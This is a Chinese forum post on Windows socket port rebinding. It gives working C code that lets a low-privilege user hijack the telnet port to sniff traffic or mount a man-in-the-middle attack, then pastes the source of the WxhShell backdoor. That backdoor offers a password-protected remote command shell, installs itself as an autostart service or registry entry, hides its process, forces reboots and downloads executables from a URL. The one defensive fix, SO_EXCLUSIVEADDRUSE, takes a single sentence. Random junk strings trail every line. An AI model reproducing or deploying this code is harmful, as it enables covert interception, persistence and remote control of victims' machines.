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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !q\8`ss  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _a$qsY  
P j   
  saddr.sin_family = AF_INET; 6ll!7U(9(  
8}|et~7!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); P%2v(  
d{YvdN9d  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cx[^D,usf~  
:[CV_ME.;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 </[.1&S+\  
/3,/j)`a  
  这意味着什么?意味着可以进行如下的攻击: ! I:N<  
wv9HiHz8gD  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `nF SJlr&  
w;lpJ B\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @j|E"VYY  
|N/d }  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <K0epED  
3RaduN]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yCxYFi  
I!hh_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,iV%{*p]  
w9'>&W8T  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T]tP!a;K  
'D21A8*N  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~e}JqJ(97  
FJ3S  
  #include ;FqmZjm  
  #include WZ'Z"'  
  #include (4FVemgy  
  #include    ei5YxV6I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6=f)3!=  
  int main() WZ-~F/:c%  
  { cQEUHhRg!  
  WORD wVersionRequested; Wj.t4XG!  
  DWORD ret; Kn^+kHh:  
  WSADATA wsaData; <&\ng^Z$  
  BOOL val; ^+yz}YFM  
  SOCKADDR_IN saddr; -DkD*64wu  
  SOCKADDR_IN scaddr; .`IhxE~mN  
  int err; h7#\]2U$[5  
  SOCKET s; it}h8:^<  
  SOCKET sc; *'?ZG/ (  
  int caddsize; &GLDoLk6[  
  HANDLE mt; ]W3_]N 3  
  DWORD tid;   >` s"C  
  wVersionRequested = MAKEWORD( 2, 2 ); pB:XNkxL  
  err = WSAStartup( wVersionRequested, &wsaData ); i%o%bib#  
  if ( err != 0 ) { .?u<|4jE6  
  printf("error!WSAStartup failed!\n"); Bc8&-eZ ,  
  return -1;  DXf  
  } #&.Znk:@.f  
  saddr.sin_family = AF_INET; hNXZL>6  
   2G8w&dtu  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 iDDJJ>F26  
AGFA;X  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f7*Qa!!2p]  
  saddr.sin_port = htons(23); e(s0mbJE  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DZqG7p$u4i  
  { 2.Z#\6Vj  
  printf("error!socket failed!\n"); #]dm/WzY  
  return -1; h3 H Udu  
  } k@7#8(3  
  val = TRUE; u.yR oZ8/!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;y(;7n_ a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) IT NFmD  
  { x{;{fMN1  
  printf("error!setsockopt failed!\n"); -Mr_Ao`E  
  return -1; suQTi'K1  
  } >12jUm)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8)S)!2_h  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 brTNwRze  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +[ ?!@)  
H@-q NjM  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .'=S1|_(  
  { Pyuul4(  
  ret=GetLastError(); n1; a~0P  
  printf("error!bind failed!\n"); +Kgl/Wg%  
  return -1; Vja 4WK*  
  } V<5. 4{[G  
  listen(s,2); z*T41;b  
  while(1) 79 4UY  
  { qoZi1,i'  
  caddsize = sizeof(scaddr); 4AL,=C3  
  //接受连接请求 B!mHO*g  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); At@0G\^  
  if(sc!=INVALID_SOCKET) `]65&hWZL  
  { G$a@}9V  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3chx 4  
  if(mt==NULL) _xAru9=n^  
  { KAZ<w~55c  
  printf("Thread Creat Failed!\n"); jUE:QOfRib  
  break; m|fcWN[  
  } #jBmWaP.  
  } zx<t{e7  
  CloseHandle(mt); ;uAh)|;S#  
  } ^GV'Y  
  closesocket(s); %!iqJ)*~  
  WSACleanup(); lrc%GU):  
  return 0; D'[:35z  
  }   g<;pyvq|:  
  DWORD WINAPI ClientThread(LPVOID lpParam) A'CD,R+gR  
  { f-#:3k*7S  
  SOCKET ss = (SOCKET)lpParam; D)G oWt  
  SOCKET sc; H,c1&hb/w  
  unsigned char buf[4096]; a4uy}@9z  
  SOCKADDR_IN saddr; ;S^"Y:7)  
  long num; RNB -W%  
  DWORD val;  R<1%Gdz  
  DWORD ret; ~I N g9|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :C^{Lc  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ri-&3%%z<  
  saddr.sin_family = AF_INET; rZ,3:x-:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); pGU .+[|(  
  saddr.sin_port = htons(23); i5(qJ/u  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;^s|n)F#c  
  { !DA4q3-U>>  
  printf("error!socket failed!\n"); w!*ZS~v/r  
  return -1; 'r=2f6G>cP  
  } G "+[@|  
  val = 100; 0X99D2c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q8ZxeMqx%  
  { OE[7fDe'  
  ret = GetLastError(); fiC0'4.,  
  return -1; DMA7eZf'Hv  
  } ^W}| 1.uZ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uN?Lz1W\;  
  { Msvs98LvW  
  ret = GetLastError(); 1 39T*0C  
  return -1; 29 !QE>Q  
  } w)K547!00  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) MZ0cZv$v!~  
  { RJ3uu NK7  
  printf("error!socket connect failed!\n"); 5WHqD!7u  
  closesocket(sc); C3.]dsv:  
  closesocket(ss); r]}6iF.  
  return -1; sBWyUD  
  } Qd~7OH4Lp  
  while(1) yL<u>S0  
  { _&G_SNa  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 N:'GNMu  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 S_*Gv O  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 AEf[:]i]  
  num = recv(ss,buf,4096,0); H!FaI(YZl  
  if(num>0) |61ns6i!  
  send(sc,buf,num,0); l`6.(6  
  else if(num==0) [Ous|a[)o  
  break; TqS s*as5  
  num = recv(sc,buf,4096,0); e7n0=U0  
  if(num>0) ?FS0zc!+  
  send(ss,buf,num,0); 7C Sn79E  
  else if(num==0) /J"fbBXwY  
  break; a` 9pHH:7Q  
  } *E>R1bJ8  
  closesocket(ss); JSq3)o9?/  
  closesocket(sc); D@5h$ m5  
  return 0 ; YVHf-uP  
  } 55`p~:&VQ  
c9@3=6S/  
s7jNRY V  
========================================================== fwx^?/5j  
K}n.k[Do  
下边附上一个代码,,WXhSHELL q$H@W. f  
M a{@b$>  
========================================================== -d2)  
-=lL{oB1  
#include "stdafx.h" uARkf'  
| "b|Q  
#include <stdio.h> 0.PG]K6  
#include <string.h> \Lbwfd=  
#include <windows.h> wmMn1q0F  
#include <winsock2.h> 2cS94h  
#include <winsvc.h> 2=<,#7zlJ  
#include <urlmon.h> !Dc;R+Ir0!  
[EVyCIcY,h  
#pragma comment (lib, "Ws2_32.lib") ^?q(fK%  
#pragma comment (lib, "urlmon.lib") +wHa)A0MW  
iYdg1  
#define MAX_USER   100 // 最大客户端连接数 SN7_^F  
#define BUF_SOCK   200 // sock buffer <Nloh+n=  
#define KEY_BUFF   255 // 输入 buffer ;Hp78!#,  
9N2.:<so  
#define REBOOT     0   // 重启 WU/5i 8  
#define SHUTDOWN   1   // 关机 ?!c7Zx,(  
23+JuXC6>  
#define DEF_PORT   5000 // 监听端口 RZ9_*Lq7+  
XfEp_.~JM  
#define REG_LEN     16   // 注册表键长度 gtY7N>e  
#define SVC_LEN     80   // NT服务名长度  "}[ ]R  
PVN`k, 4  
// 从dll定义API 3+ C;zDKa  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Mx 3fT>?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W=#jtU`:5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \f]w'qiW5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c*(=Glzn  
%X\Rfn0J"  
// wxhshell配置信息 zQGj,EAM}  
struct WSCFG { AXo)(\  
  int ws_port;         // 监听端口 hy~KY6Ta  
  char ws_passstr[REG_LEN]; // 口令 A~s6~  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^Y8G}Z|  
  char ws_regname[REG_LEN]; // 注册表键名 HuxvIg  
  char ws_svcname[REG_LEN]; // 服务名 Kr4%D*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S4E@wLi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AO7X-,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~PN[ #e]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &Ci_wDJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O=u.J8S2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5["n] i  
Aq$o&t  
};  |>Pv2  
+~;#!I@Di  
// default Wxhshell configuration 1"1ElH  
struct WSCFG wscfg={DEF_PORT, '?$< k@mJW  
    "xuhuanlingzhe", )_ l( WF.  
    1, :mdoGb$ dr  
    "Wxhshell", S! .N3ezn  
    "Wxhshell", 1-G-p:|  
            "WxhShell Service", %VrMlG4hx  
    "Wrsky Windows CmdShell Service", )9!J $q  
    "Please Input Your Password: ", RS7J~Q  
  1, ,nw5 M.D_  
  "http://www.wrsky.com/wxhshell.exe", s6oIj$  
  "Wxhshell.exe" !U1V('   
    }; <9Ytv|t@0  
_`9WNJiL  
// 消息定义模块 r"lh\C|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Wk/Il^YG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Tz/[P:O3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O(T6Y80pU  
char *msg_ws_ext="\n\rExit."; A+hT2Ew@t}  
char *msg_ws_end="\n\rQuit."; fp"GdkO#}i  
char *msg_ws_boot="\n\rReboot..."; / DS T|2  
char *msg_ws_poff="\n\rShutdown..."; g^k=z:n3,  
char *msg_ws_down="\n\rSave to "; zOL*XZ0c  
K$ |!IXs  
char *msg_ws_err="\n\rErr!"; R9Y{kk0M  
char *msg_ws_ok="\n\rOK!"; S`[r]msw  
9sB LCZ  
char ExeFile[MAX_PATH]; R)GDsgXy  
int nUser = 0; liH1r1M  
HANDLE handles[MAX_USER]; WQY\R!+  
int OsIsNt; #Xun>0  
tkhEjTZ  
SERVICE_STATUS       serviceStatus; S%w67sGl4n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {?uswbk.  
MAG /7T5  
// 函数声明 Ns[.guWu-  
int Install(void); atfK?VK#  
int Uninstall(void); FHZQyO<|  
int DownloadFile(char *sURL, SOCKET wsh); yc@ :*Z  
int Boot(int flag); o){<PN|z  
void HideProc(void);  W o$UV  
int GetOsVer(void); wafws*b%  
int Wxhshell(SOCKET wsl); 1.z !u%2  
void TalkWithClient(void *cs); %A;s 3 ]V  
int CmdShell(SOCKET sock); wRE2rsXoU  
int StartFromService(void); %lN4"jtx  
int StartWxhshell(LPSTR lpCmdLine); unkA%x{W;  
6Nz S<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 78u=Jz6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q&EwD(k  
Z+! 96LR  
// 数据结构和表定义 )yv~wi  
SERVICE_TABLE_ENTRY DispatchTable[] = H?dEgubg7]  
{ ;?!pcvUi  
{wscfg.ws_svcname, NTServiceMain}, ~DK=&hCd!  
{NULL, NULL}  B*Q  
}; 5?gZw;yiv%  
x9H qc9q  
// 自我安装 %Z#[{yuFs  
int Install(void) 0XrOOYmx  
{ :<E\&6# oC  
  char svExeFile[MAX_PATH]; 29h_oNO  
  HKEY key; H6-{(: *<  
  strcpy(svExeFile,ExeFile); *Ja,3Qq  
Ty"=3AvRLV  
// 如果是win9x系统,修改注册表设为自启动 ou'|e"tI  
if(!OsIsNt) { |0a GX]Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !fG`xZ~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b 'yW+  
  RegCloseKey(key); wi-{&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ),+u>Os&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q##L|*Qy  
  RegCloseKey(key); 9IG3zMf  
  return 0; Pr^p ^s  
    } `_H^k !^  
  } ,V:RE y  
} {:d9q  
else { ^Dhu8C(  
^,;8ra*h  
// 如果是NT以上系统,安装为系统服务 nXF|AeAco  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'l3K*lck  
if (schSCManager!=0) }x}JzA+2  
{ <S%kwS  
  SC_HANDLE schService = CreateService /2PsC*y  
  ( VNLggeX'U  
  schSCManager, V{G9E  
  wscfg.ws_svcname, }]?U. ]-  
  wscfg.ws_svcdisp, O1K~]Nt  
  SERVICE_ALL_ACCESS, z;En Ay{9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *Ad7GG1/u  
  SERVICE_AUTO_START, p~THliwd  
  SERVICE_ERROR_NORMAL, M.R] hI  
  svExeFile, aF\?X &|  
  NULL, 1z[GYRSt  
  NULL, 5Pl~du  
  NULL, qP0_#l&  
  NULL, Bswd20(w  
  NULL pJ1Q~tI  
  ); nu#_,x<LS  
  if (schService!=0) 2 <@27 C5  
  { t7p`A8&  
  CloseServiceHandle(schService); #dgWXO  
  CloseServiceHandle(schSCManager); KGm"-W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); grhwPnKl  
  strcat(svExeFile,wscfg.ws_svcname); &`'gO 9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }3Y3f).ZW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rn?:utP  
  RegCloseKey(key); afMIqQ?  
  return 0; "HQH]?!k  
    } [af<FQ{  
  } ,1YnWy *  
  CloseServiceHandle(schSCManager); 1Bz'$u;  
} [T.BK:  
} 1+^L,-k!  
+0O{"XM  
return 1; x6ig,N~AO  
} ya'@AJS  
6 tbH(  
// 自我卸载 RkJ\?  
int Uninstall(void) nD+vMG1~w  
{ n8M/Y}mH   
  HKEY key; {O,Cc$_  
9 0[gXj  
if(!OsIsNt) { OZ q/'*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y\Z-x  
  RegDeleteValue(key,wscfg.ws_regname); XRI1/2YA  
  RegCloseKey(key); m//(1hWv7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F^=|NlU&%  
  RegDeleteValue(key,wscfg.ws_regname); 1Ly?XNS  
  RegCloseKey(key); J|Lk::Ri  
  return 0; 9b !+kJD  
  } Y 1 i!  
} c(bh i  
} kvdzD6T 9  
else { 9`)NFy?  
eN%Ks  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1GW=QbO 6  
if (schSCManager!=0) N L]:<FG  
{ OZ_'& CZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /s=TLPm  
  if (schService!=0) ZBJYpeGe  
  { ]P ->xJ  
  if(DeleteService(schService)!=0) { 6yF4%Sz9  
  CloseServiceHandle(schService); Ckvm3r\i2  
  CloseServiceHandle(schSCManager); / GJ"##<  
  return 0; {61NLF\0H  
  } >U9!KB  
  CloseServiceHandle(schService); ;2}0Hr'|  
  } k-T_,1l{  
  CloseServiceHandle(schSCManager); ~?6V-m{>#  
} xN}P0  
} bs]ret$?(q  
@}x)>tqD  
return 1; T_,LK7D  
} 'mug,jM  
eF}Q8]da  
// 从指定url下载文件 788q<7E  
int DownloadFile(char *sURL, SOCKET wsh) (1(3:)@S6  
{ {TdK S  
  HRESULT hr; G+'MTC_  
char seps[]= "/"; 9))%tYN  
char *token; &6MGPh7T  
char *file; ^$_ifkkLz  
char myURL[MAX_PATH]; =YZp,{T  
char myFILE[MAX_PATH]; =}r&>|rrJ  
60teD>Eh,  
strcpy(myURL,sURL); v<tH 3I+   
  token=strtok(myURL,seps); ?GD{}f33  
  while(token!=NULL) xwT"Q=|kW  
  { .K}u`v T  
    file=token; o|l)oc6{  
  token=strtok(NULL,seps); [CRy>hfV  
  } Y: KB"H  
.m/Lon E  
GetCurrentDirectory(MAX_PATH,myFILE); A>OL5TCl  
strcat(myFILE, "\\"); +2B{"Czm  
strcat(myFILE, file); RURO0`^  
  send(wsh,myFILE,strlen(myFILE),0); ?8! 4!P%n  
send(wsh,"...",3,0); %r6~5_A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wXXv0OzK  
  if(hr==S_OK) Qh/yPOSm:  
return 0; pR 1v^m|  
else )J~Q x-jG  
return 1; n?Gm 5##  
fBD5K3  
} $hn_4$  
]ueq&|  
// 系统电源模块 v]U[7 j  
int Boot(int flag) ;n7k_K#0z!  
{ 'D\(p,(Mt  
  HANDLE hToken; A_Sl#e  
  TOKEN_PRIVILEGES tkp; >\} 2("bv  
Gu*;z% b2  
  if(OsIsNt) { EW#.)@-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wzo-V^+q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vh?({A#>.E  
    tkp.PrivilegeCount = 1; =kZPd>&L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jW2z3.w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :$/lGIz  
if(flag==REBOOT) { W1r-uR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |`qur5h`  
  return 0; D\j1`  
} vWe)cJ  
else { % OiSuw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s( Kf%ZoE  
  return 0; *tz"T-6O  
} ZwO&G\A^  
  } :Nc~rOC _  
  else { {l *ps-fi  
if(flag==REBOOT) { T{sw{E*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qUpMq:Uw  
  return 0; 1mI)xDi9  
} b LL!iz?  
else { 5IdmKP|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uO7Ti]H  
  return 0; tBrd+}e2*  
} CmJ*oXyi  
} TrkoLJmB  
d+2I+O03  
return 1; LsV!Sd  
} 2!]':(8mR  
tTWYlbDFN  
// win9x进程隐藏模块 y3;G<9K2c]  
void HideProc(void) :Q?xNY%  
{ v,+2CVdW  
N<N!it  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J,{sRb%  
  if ( hKernel != NULL ) 7|,5;  
  { #FuOTBNvB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \8_&@uLm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <bGSr23*  
    FreeLibrary(hKernel); Fo;xA  
  } bE]2:~  
g ~10K^  
return; G9Xrwk<g4  
} n~K_|  
8@b@y|#]X  
// 获取操作系统版本 U&`M G1uHe  
int GetOsVer(void) D_@r_^}  
{ 'Ur$jW  
  OSVERSIONINFO winfo; G+\2Aj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GbStqR~^#  
  GetVersionEx(&winfo); "hs`Y4U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q'c'rN^  
  return 1; 0%'&s)#  
  else ,VJ0J!@  
  return 0; #\t?`\L3  
} BS+N   
Y}nE/bmx&9  
// 客户端句柄模块 &*MwKr<y  
int Wxhshell(SOCKET wsl) ";s?#c  
{ +XFF@h&=t  
  SOCKET wsh; WI}P(!h\J  
  struct sockaddr_in client; }v@w(*)h:  
  DWORD myID; }@a_x,O/x}  
m./lrz  
  while(nUser<MAX_USER) uF@Q8 7G  
{ _~5{l_v|I  
  int nSize=sizeof(client); QXgh[9w G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oD~VK,.  
  if(wsh==INVALID_SOCKET) return 1; 8BLtTpu  
AP/5, M<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kF6X?mqgD  
if(handles[nUser]==0) SaQ_%-&#p  
  closesocket(wsh); $S=lm {  
else [y=k}W}z  
  nUser++; [^~Fu9+"  
  } Wx;9N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9s5CqB  
~~:i+-[  
  return 0; x1Z?x,-D"  
} M/ R#f9W  
J<u,Y= -~  
// 关闭 socket q=UKL`;C}U  
void CloseIt(SOCKET wsh) IqcPml{\  
{ }_gCWz-5?  
closesocket(wsh); c?>Q!sC  
nUser--; eP[azC"G[  
ExitThread(0); waO*CjxE:  
} MP;7 u%   
WR gAc%  
// 客户端请求句柄 " 0K5 /9  
void TalkWithClient(void *cs) 1th|n  
{ ,R ]]]7)+  
c,X\1yLy  
  SOCKET wsh=(SOCKET)cs; q ( H^H  
  char pwd[SVC_LEN]; 7cY_=X-?Y  
  char cmd[KEY_BUFF]; h^?[:XBeav  
char chr[1]; y{U'\  
int i,j; ;:8_H0X'K  
li%=<?%T  
  while (nUser < MAX_USER) { 8O("o7~"  
u+z$+[lm!G  
if(wscfg.ws_passstr) { 9V[|_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a}0\kDe  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :$dGcX}  
  //ZeroMemory(pwd,KEY_BUFF); F+*: >@3  
      i=0;   VG q'  
  while(i<SVC_LEN) { 2 ,E&}a|;b  
I6{}S6  
  // 设置超时 _I3j 7f,V  
  fd_set FdRead; 9 )e`mO*n  
  struct timeval TimeOut; !+JSguy  
  FD_ZERO(&FdRead); z! D >l  
  FD_SET(wsh,&FdRead); %:YON,1b=7  
  TimeOut.tv_sec=8; ?U iwr{Q  
  TimeOut.tv_usec=0; #Z98D9Pv`o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T{{J' _s5L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `i,ZwnLh{  
 ORp6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .A&Ey5  
  pwd=chr[0]; TB*g$ *  
  if(chr[0]==0xd || chr[0]==0xa) { J<>z}L{  
  pwd=0; 4~ZQsw `  
  break; rcOpOoU|  
  } 3@XCP-`  
  i++; DTl M}  
    } X+?*Tw!\  
@HMt}zD  
  // 如果是非法用户,关闭 socket aluXh?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QKE$>G  
} w`c9_V  
`0=0IPVd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j/ #kO?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4ME8NEE  
5R{ {FD`h  
while(1) { o-lb/=K+  
Zo-E0[9  
  ZeroMemory(cmd,KEY_BUFF); ^ Gq2"rDM  
Ys+Dw-  
      // 自动支持客户端 telnet标准   iL/(WAB_od  
  j=0; dY;^JPT  
  while(j<KEY_BUFF) { GWM2l?zOP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y~SFlv36  
  cmd[j]=chr[0]; ^ B=x-G.  
  if(chr[0]==0xa || chr[0]==0xd) { jMzHs*:  
  cmd[j]=0; Gyjx:EM  
  break; 9RE{,mos2v  
  } fh b&_T  
  j++; U^+9l?ol  
    } nbMH:UY,J  
0 u,=OvU  
  // 下载文件 f`:e#x  
  if(strstr(cmd,"http://")) { P>)-uLc~W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 28f-8B  
  if(DownloadFile(cmd,wsh)) o!q9pt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eG"iJ%I  
  else V~Tjz%<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R`76Ae`R8  
  } Dr6Br<yi  
  else { ?uU0NKZA  
_xl#1>G^J  
    switch(cmd[0]) { ` eND3c  
  l YH={jJ  
  // 帮助 6N~ jt  
  case '?': { B 0 K2Uw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TbIM{X  
    break; }ebw1G  
  } M0=ZAsN  
  // 安装 o4w+)hh  
  case 'i': { reu[}k~  
    if(Install()) 2O<S ig=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {)4Vv`n  
    else L9Fx Lw41  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); px//q4 U  
    break; Pk8L- [&v  
    } *9j9=N?  
  // 卸载 6Wc eDY  
  case 'r': { a(x[+ El  
    if(Uninstall()) W.MJyem  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =!#D UfQf  
    else ,yV pB)IQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ngeX+@  
    break; \RQ5$!O  
    } Cf`UMQ a  
  // 显示 wxhshell 所在路径 Sw5H+!  
  case 'p': { F<V zVEx  
    char svExeFile[MAX_PATH]; @'C)ss=kj  
    strcpy(svExeFile,"\n\r"); cb'8Li8,j  
      strcat(svExeFile,ExeFile); y*uL,WH  
        send(wsh,svExeFile,strlen(svExeFile),0); D|e6$O5o  
    break; +%U@  
    } JiI(?I  
  // 重启 \R79^  
  case 'b': { NA/+bgyuT>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zh/+1  
    if(Boot(REBOOT)) QO#ZQ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); < "~k8:=4  
    else { ,pLesbI  
    closesocket(wsh); B5I(ai7<M  
    ExitThread(0); cq[}>5*k  
    } zEO 9TuBO  
    break; =602%ef\  
    } KpwUp5K  
